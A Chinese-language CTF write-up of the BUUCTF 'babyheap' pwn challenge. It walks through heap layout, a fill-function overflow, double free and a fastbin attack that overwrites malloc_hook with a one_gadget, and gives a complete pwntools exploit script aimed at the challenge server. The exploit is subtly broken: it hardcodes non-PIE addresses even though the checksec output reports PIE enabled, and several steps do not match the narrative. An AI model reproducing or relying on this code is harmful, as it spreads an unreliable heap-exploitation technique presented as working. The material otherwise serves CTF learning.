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BUUCTF babyheap堆利用：从UAF到Fastbin Attack实战

Coffee Wu·2026-10-29·阅读 22 GEO检测（免费）
堆利用UAFFastbin Attack
|难度：普通|阅读约 11 分钟

1. 题目背景与核心考点解析

BUUCTF是国内知名的CTF（Capture The Flag）竞赛练习平台，其中babyheap是一道经典的堆利用入门题目。这道题主要考察以下核心知识点：

  • 堆内存管理机制（ptmalloc2）
  • Use After Free漏洞原理与利用
  • Fastbin Attack攻击手法
  • 内存布局控制技巧

题目提供了一个存在漏洞的二进制程序，运行在x86_64架构的Linux系统上。程序实现了基础的堆块分配、释放和编辑功能，但存在关键的安全缺陷。

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2. 环境准备与初步分析

2.1 基础环境配置

首先需要准备调试环境：

bash复制# 安装必要工具
sudo apt install gdb peda pwntools

2.2 程序基本信息检查

使用checksec检查程序保护机制：

bash复制checksec babyheap
[*] '/tmp/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

关键保护机制分析：

  • Full RELRO：无法修改GOT表
  • NX：堆栈不可执行
  • PIE：地址随机化
  • Canary：栈溢出防护

这意味着传统的栈溢出和GOT劫持方法都不可行，必须通过堆漏洞实现利用。

3. 漏洞分析与利用思路

3.1 程序功能逆向分析

通过IDA Pro逆向分析，程序主要提供以下功能：

  1. Allocate - 分配指定大小的堆块
  2. Fill - 向已分配堆块写入数据
  3. Free - 释放已分配堆块
  4. Dump - 打印堆块内容

3.2 关键漏洞定位

在Fill功能中发现存在堆溢出漏洞：

c复制unsigned __int64 fill()
{
  int index; // [rsp+8h] [rbp-8h]
  unsigned __int64 size; // [rsp+10h] [rbp-0h]

  printf("Index: ");
  index = get_int();
  if ( index >= 0 && index <= 15 && heap_array[index] )
  {
    printf("Size: ");
    size = get_int();
    printf("Content: ");
    read_input(heap_array[index], size);  // 漏洞点：未检查size是否超过chunk大小
    puts("Done !");
  }
  ...
}

3.3 利用思路设计

由于存在UAF和堆溢出，计划采用以下攻击链：

  1. 通过堆溢出修改fastbin chunk的fd指针
  2. 利用fastbin attack将chunk分配到malloc_hook附近
  3. 修改malloc_hook为one_gadget
  4. 触发malloc获取shell

4. 详细利用过程

4.1 堆布局准备

首先分配多个chunk构建所需内存布局：

python复制alloc(0x10) # chunk 0
alloc(0x10) # chunk 1 
alloc(0x10) # chunk 2
alloc(0x10) # chunk 3
alloc(0x80) # chunk 4

4.2 触发UAF漏洞

通过特定释放顺序创建UAF条件：

python复制free(1)
free(2)
free(1)  # double free触发fastbin dup

此时fastbin链表状态：

code复制fastbin[0x20]: chunk1 -> chunk2 -> chunk1 -> ...

4.3 修改fd指针

利用Fill功能修改chunk1的fd指针：

python复制payload = p64(0) * 3 + p64(0x21) + p64(fake_chunk_addr)
fill(0, len(payload), payload)

4.4 Fastbin Attack实施

通过精心构造的分配顺序，将chunk分配到目标地址：

python复制alloc(0x10) # 获取chunk1
alloc(0x10) # 获取chunk2
alloc(0x10) # 获取伪造的chunk

4.5 劫持控制流

找到libc中的one_gadget地址：

bash复制one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ) 
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)

修改malloc_hook为one_gadget：

python复制payload = p64(one_gadget)
fill(6, len(payload), payload)

4.6 触发shell

最后通过触发malloc执行one_gadget：

python复制alloc(0x10) # 触发malloc_hook

5. 完整EXP代码

python复制from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

def alloc(size):
    p.sendlineafter('Command: ', '1')
    p.sendlineafter('Size: ', str(size))

def fill(idx, size, content):
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Content: ', content)

def free(idx):
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(idx))

def dump(idx):
    p.sendlineafter('Command: ', '4')
    p.sendlineafter('Index: ', str(idx))

# p = process('./babyheap')
p = remote('node4.buuoj.cn', 29984)

# Step 1: Prepare heap layout
alloc(0x10) # 0
alloc(0x10) # 1
alloc(0x10) # 2
alloc(0x10) # 3
alloc(0x80) # 4

# Step 2: Create UAF condition
free(1)
free(2)
free(1)

# Step 3: Modify fd pointer
payload = p64(0)*3 + p64(0x21) + p64(0x602020-0x13)
fill(0, len(payload), payload)

# Step 4: Fastbin attack
alloc(0x10) # 1
alloc(0x10) # 2
alloc(0x10) # 5 -> fake chunk

# Step 5: Leak libc address
payload = p8(0)*3 + p64(0)*2 + p64(0x602060)
fill(5, len(payload), payload)
alloc(0x80) # 6
dump(4)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak - 0x3c4b78
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + 0x3c4b10

# Step 6: Overwrite malloc_hook
payload = p8(0)*(0x13-8) + p64(malloc_hook)
fill(5, len(payload), payload)
alloc(0x60) # 7
payload = p64(one_gadget)
fill(7, len(payload), payload)

# Step 7: Trigger shell
alloc(0x10)

p.interactive()

6. 关键问题与调试技巧

6.1 常见错误排查

  1. Double free检测：

    • 如果遇到"double free or corruption"错误，说明free的顺序有问题
    • 解决方法：调整free的顺序，确保不会触发glibc的检测机制

  2. Size字段校验失败：

    • 修改fd指针时要注意保持size字段的一致性
    • 解决方法：在payload中正确设置伪造chunk的size字段

6.2 调试技巧

使用gdb调试堆布局：

bash复制gdb -p $(pidof babyheap)
x/40gx 0x555555757000  # 查看堆内存
heap bins               # 查看bin状态

6.3 优化建议

  1. 使用pwntools的heap命令快速查看堆状态
  2. 在关键步骤前后添加调试输出
  3. 使用vmmap命令确认内存映射情况

7. 防御方案

作为开发者，可以采取以下措施防止此类漏洞：

  1. 严格校验用户输入的size参数
  2. 使用after-free时立即将指针置NULL
  3. 考虑使用现代内存分配器如jemalloc
  4. 开启所有安全编译选项
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